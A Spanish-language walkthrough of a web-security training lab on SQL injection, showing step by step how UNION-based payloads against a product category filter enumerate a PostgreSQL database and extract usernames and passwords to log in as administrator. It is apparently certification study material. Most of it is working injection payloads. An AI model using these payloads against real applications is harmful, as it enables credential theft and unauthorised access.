SQLI Lab 10
Skills
- SQL injection UNION attack, retrieving multiple values in a single column
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
contiene una vulnerabilidad
de inyección SQL
en el filtro
de categoría
de productos
. Los resultados
de la consulta
se devuelven
en la respuesta
de la aplicación
, por lo que hay que utilizar un ataque UNION
para recuperar datos de otras tablas. La base de datos contiene una tabla diferente llamada users
, con columnas llamadas username
y password
. Para resolver el laboratorio, hay que realizar un ataque de inyección SQL UNION
que recupere todos los nombres de usuario
y contraseñas
, y utilizar la información para iniciar sesión
como el usuario administrador
Resolución
Al acceder
a la web
nos sale esto
Si hacemos click
en alguno de los filtros
, nos filtrará los artículos por esta categoría
Capturamos
la petición
con Burpsuite
y añadimos
una comilla
simple '
Si enviamos esta petición nos devolverá un Internal Server Error
, lo cual quiere decir que estamos interfiriendo
con la consulta SQL
que se está produciendo
Si usamos este payload
mediante el cual añadimos una comparación que siempre
es verdad
como 1=1
, ignoramos el resto de la consulta SQL con -- -
y enviamos la petición nuevamente no obtenemos ningún fallo, lo que quiere decir que la inyección SQL
ha sido exitosa
1
/filter?category=Gifts'+or+1=1--+-+
Usando order by
podemos saber el número
de columnas
que tiene la tabla
, empleando este payload
el resultado es un 200 OK
1
/filter?category=Gifts'+order+by+2--+-+
Sin embargo, si empleamos este otro payload
donde hacemos order by 3
, nos devuelve un Internal Server Error
, esto se debe a que al no existir tres columnas
nos arroja
un fallo
1
/filter?category=Gifts'+order+by+3--+-+
Una vez sabemos el número de columnas, usando union select
vamos a obtener la información, en este caso, como no hemos recibido ningún error
, podemos descartar que la base
de datos
usada sea Oracle
debido a que en Oracle
debemos añadir from dual
al final, de lo contrario, nos arrojará un error
1
/filter?category=Gifts'+union+select+null,null--+-+
Confirmamos la base
de datos
en uso y también el su versión
1
/filter?category=Gifts'+union+select+null,version()--+-+
Listamos
el nombre
de todas las bases
de datos
1
/filter?category=Gifts'+union+select+null,string_agg(datname,',')+from+pg_database--+-+
Listamos
la base de datos actual
1
/filter?category=Gifts'+union+select+null,current_database()--+-+
Listamos
los esquemas
para la base de datos en uso
1
/filter?category=Gifts'+union+select+null,schema_name+from+information_schema.schemata--+-+
Listamos
el nombre
de las tablas
1
/filter?category=Gifts'+union+select+null,table_name+from+information_schema.tables+where+table_schema='public'--+-+
Listamos
las columnas
de la tabla users
1
/filter?category=Gifts'+union+select+null,string_agg(column_name,',')+from+information_schema.columns+where+table_name='users'--+-+
Listamos
el contenido
de la columna username
y password
1
/filter?category=Gifts'+union+select+null,string_agg(username||':'||password,',+')+from+users--+-+
Nos logueamos
con las credenciales
del usuario administrador